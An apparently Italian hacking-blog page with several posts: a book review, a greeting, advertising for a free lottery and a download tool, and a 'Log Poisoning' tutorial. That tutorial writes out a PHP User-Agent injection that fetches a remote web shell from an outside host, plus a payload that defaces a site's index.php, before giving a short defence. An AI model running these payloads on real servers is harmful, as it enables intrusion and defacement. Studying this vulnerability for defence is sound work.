8
Gen

Memoria emotiva - Gianni Golfera

   Posted by: FallChallenge   in e-book


In memoria di Giovanni Pico della Mirandola, Gianni Golfera mnemonista di successo fa luce sulle tecniche di apprendimento utilizzate dai grandi maestri del passato, lo stesso Cicerone, Pietro Tomai e in particolare Giordano Bruno, un indimenticato maestro, filosofo, mnemonista del Rinascimento nonchè autore del “De umbris idearum”. Oggi, più che in passato, ad uno studente viene richiesto di capire, piuttosto che di ricordare letteralmente; di sapersi servire degli strumenti di consultazione cartacei; di comprendere le cause e le ragioni di un evento, piuttosto che di ritenere a memoria date e luoghi. Tuttavia, benchè tutte le informazioni di cui abbiamo bisogno siano reperibili in un’enciclopedia aggiornata, una memoria affidabile consente di organizzare le idee, di muoversi con maggiore agilità nelle messe di notizie da cui siamo bombardati ogni giorno, di selezionare i concetti importanti, di sveltire il pensiero nei momenti in cui siano richieste prontezza e lucidità. Così come diceva Cartesio “Non basta una buona mente, la cosa più importante è saperla usare bene”.

Un libro davvero adatto a tutti, di cui ne riporto qualche frase:

  • “La memoria è la base dell’intelligenza”.
  • “Ogni ricordo è un’immagine”.
  • “Il tempo non esiste quando i nostri ricordi sono vividi”.

Recensione scritta da Rocco Musolino

1
Gen

Buon 2009!

   Posted by: FallChallenge   in Annunci dallo Staff

Lo Staff di HackersTribe.com augura un felice anno nuovo a tutti quanti!

4
Dic

Log Poisoning

   Posted by: FallChallenge   in Hacking

Log poisoning
Il log poisoning è una vulnerabilità relativamente poco conosciuta, ma che può portare a risultati disastrosi se sfruttata da un attaccante. Il concetto alla base è molto semplice: molti siti loggano le visite degli utenti su log che sono file PHP. Le informazioni loggate, di norma, sono IP del visitatore, pagina visitata e user agent. Di queste tre informazioni l’IP del visitatore e il REQUEST_URI difficilmente possono essere modificati, ma lo user agent può essere modificato tranquillamente inviando pacchetti HTTP from scratch o anche usando plugin per il proprio browser in grado di modificarlo arbitrariamente, come Modify Headers per Firefox.
Poniamoci ora il problema: molti log sono in formato PHP. E se io impostassi come user agent string del codice PHP valido…?
Lo scenario dell’attacco

Immaginiamo di avere un sito che logga le visite degli utenti tramite il seguente script:

$ip=$_SERVER[’REMOTE_ADDR’];
$uri=$_SERVER[’REQUEST_URI’];
$agent=$_SERVER[’HTTP_USER_AGENT’];

$fp=fopen(’access.php’,'a’);
fputs ($fp,”$ip, $agent: $uri”);
fclose($fp);

print “$ip: sei stato loggato\n”;
?>

[modifica]Shell injection

Tutti gli accessi vengono loggati sul file access.php, e questo file è anche visibile, volendo, da chiunque. Inviamo un pacchetto HTTP così costruito:

perl -e ‘print “GET /page.php HTTP/1.1\nHost: \n
Connection: close\nUser-agent: <\?php
\$content\=file\(\”http://blacklight.altervista.org/MYSHELL.txt\”\);
\$fp\=fopen\(\”./shell.php\”,\”w\”\); foreach \(\$content as \$line\)
fwrite\(\$fp,\”\$line\\n\”\); fclose\(\$fp\); \?>\n\n”;’
| nc


Quello che facciamo è semplice: inviamo un pacchetto HTTP che richieda la pagina in questione, impostando come user agent un codice PHP che prende il contenuto di una shell PHP e lo salva sul sito. Ora possiamo andare a visualizzare la pagina access.php, o attendere che sia l’admin stesso a visualizzarla. La conseguenza è semplice: il codice che abbiamo iniettato verrà eseguito, e ci regalerà una bella shell sul server.
[modifica]Deface

E’ perfino possibile defacciare indirettamente un sito tramite questa tecnica. Impostiamo uno user agent come questo, o inviandolo direttamente all’host tramite richiesta HTTP diretta, o impostandolo come nostro user agent nel nostro browser:

$fp=fopen(”{$path}/{$file}.old”,”w”); foreach ($content as $line)
fputs ($fp,”{$line}\n”); fclose($fp); $fp=fopen(”{$path}/{$file}”,”w”);
fputs ($fp,”Owned by BlackLight”); fclose($fp); } foo(”.”,”index.php”);
foo(”..”,”index.php”); ?>

Quello che fa è semplice: salva la index.php nella directory attuale e in quella superiore su un file di backup (giusto per essere buoni), quindi la apre in modalità di scrittura, cancellando tutto il suo contenuto. Ora possiamo andare a richiamare via browser il file di log, o attendere che sia l’admin stesso ad andare a visualizzarlo. In quell’istante, il codice che abbiamo iniettato verrà eseguito, e i contenuti dell’home page del sito verranno rimossi.
[modifica]Difesa

Quella del log injection è una vulnerabilità poco conosciuta e ingiustamente sottovalutata, ma che può compromettere, come abbiamo appena visto, la sicurezza di un intero sito, portando all’iniezione di una shell sul sito o addirittura al deface. La miglior strategia di difesa è sì quella di salvare i log in un file PHP, ma aggiungendo in testa al file una riga del genere:

die(); ?>

In questo modo avremo raggiunto due obiettivi:
Tutto l’eventuale codice PHP iniettato di seguito non verrà mai eseguito, dato che l’interprete esce appena vede il die();
I log non saranno visualizzabili da nessun utente comune via browser, dato che appena l’utente richiederà via browser il log l’interprete PHP ritornerà una pagina bianca. Il log sarà invece visualizzabile solo dall’admin via FTP o SSH.

BlackLight

18
Nov

Lotteria gratuita KingLotto - 2.500 euro in palio!

   Posted by: FallChallenge   in Marketing e internet

- Solo per i residenti in Italia
la 1ª lotteria a premi 100% gratuita | Regolamento | Powered by Mediastay
Leggi le opinioni dei giocatori !
Kingolotto è la 1ª lotteria a premi 100% gratuita in Italia con estrazione quotidiana!

Kingolotto, con più di 4 milioni di iscritti, è la lotteria on line leader in Francia dopo la lotteria nazionale (a pagamento).

Sei un appassionato di lotto? Giochi spesso alla lotteria? Hai voglia di tentare la fortuna e vincere tanti favolosi premi grazie ad un gioco on line completamente gratuito?
Allora non perdere tempo e gioca subito su Kingolotto, la 1ª lotteria a premi on line 100% gratuita in Italia con estrazione giornaliera. Vincere non è mai stato così facile!

L’iscrizione a Kingolotto è gratuita e per giocare e vincere non è necessario alcun atto di acquisto. Ogni giorno avrai a disposizione 10 schedine di gioco. Seleziona 6 numeri fortunati e partecipa all’estrazione quotidiana. Potrai vincere tanti favolosi premi tra cui un Pack hi-tech, un favoloso viaggio o la macchina dei tuoi sogni e tanti altri fantastici premi!
Anche se non sarai uno dei fortunati vincitori, partecipando al gioco concorso gratuito Kingolotto, potrai vincere tantissimi punti immediatamente convertibili in premi.


Inoltre Kingolotto arricchisce periodicamente il suo montepremi grazie a numerose operazioni speciali che vedranno in palio premi straordinari come lettori MP3, penne USB, webcam, buoni regalo e tanti altri premi. Gioca le tue schedine e moltiplica le tue possibilità di vincita nelle estrazioni speciali 24 ore: il vincitore verrà sorteggiato tra tutti i partecipanti al concorso del giorno!

Potrai ricevere i risultati delle estrazioni con le vincite del giorno direttamente sulla tua casella di posta elettronica o consultare l’elenco dei vincitori direttamente sul sito Kingolotto.

18
Nov

Speed Downloading!

   Posted by: FallChallenge   in Marketing e internet


Sei stufo del fatto che il tuo computer si rallenti mentre scarichi i tuoi file preferiti?
La soluzione è Speed Downloading!… Compatibile con BitTorrent, Emule e RapidShare!

Speed-Downloading dà una spinta al tuo computer e mette tutto nelle tue mani. Puoi regolare la velocità, mettere in pausa il download dei file e caricare tutti i tuoi clip preferiti per condividerli con gli altri, velocizzando così Upload e Download.

Requisiti:Windows 2000/XP/2003 Server/Vista
Peso:5.62 MB
Disponibile in 30 lingue diverse!

Completamente gratis!
Metti il turbo ai tuoi download!

Scaricatelo e provatelo, ne rimarrete soddisfatti! :P